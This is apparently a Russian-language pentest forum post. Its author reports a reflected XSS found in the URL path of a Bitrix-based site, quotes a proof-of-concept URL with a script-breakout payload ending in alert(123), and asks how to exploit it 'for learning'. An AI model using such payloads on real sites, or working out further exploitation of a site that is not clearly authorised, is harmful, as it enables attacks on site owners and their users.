РАЗБОР
Pentest
XSS в адресной строке
[ обложка статьи ]
Режим чтения
Всем привет, чекал сайты на уязвимости, попался один с xss в строке браузера такого формата:
Как можно все это дело эксплуатировать?) (Чисто в ознакомительных целях, тренюсь)
| https://сайт.ком/bitrix/js/main/loadext/'"--></style></script><script>alert(123)</script>/ |
Как можно все это дело эксплуатировать?) (Чисто в ознакомительных целях, тренюсь)
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Продолжить чтение
Следующий разбор
Как HackerLab штурмовала GIS DAYS 2026: два дня, четыре инфраструктуры и один дорогой урок
Ещё по теме
4
СтатьяСовременные методы обхода WAF в задачах с нестандартным XSS
0
2 тыс.
22.05.2026
СтатьяXSS уязвимость на практике: поиск, эксплуатация и обход фильтров
1
3 тыс.
07.10.2026
СтатьяDalfox: Поиск и обнаружение XSS уязвимостей
0
4 тыс.
26.01.2026
СтатьяXSS-атаки в 2025: Некромантия в браузере. Практический гайд по обходу WAF и CSP с помощью AI и Mutation XSS
2
7 тыс.
25.10.2025
Комментарии
1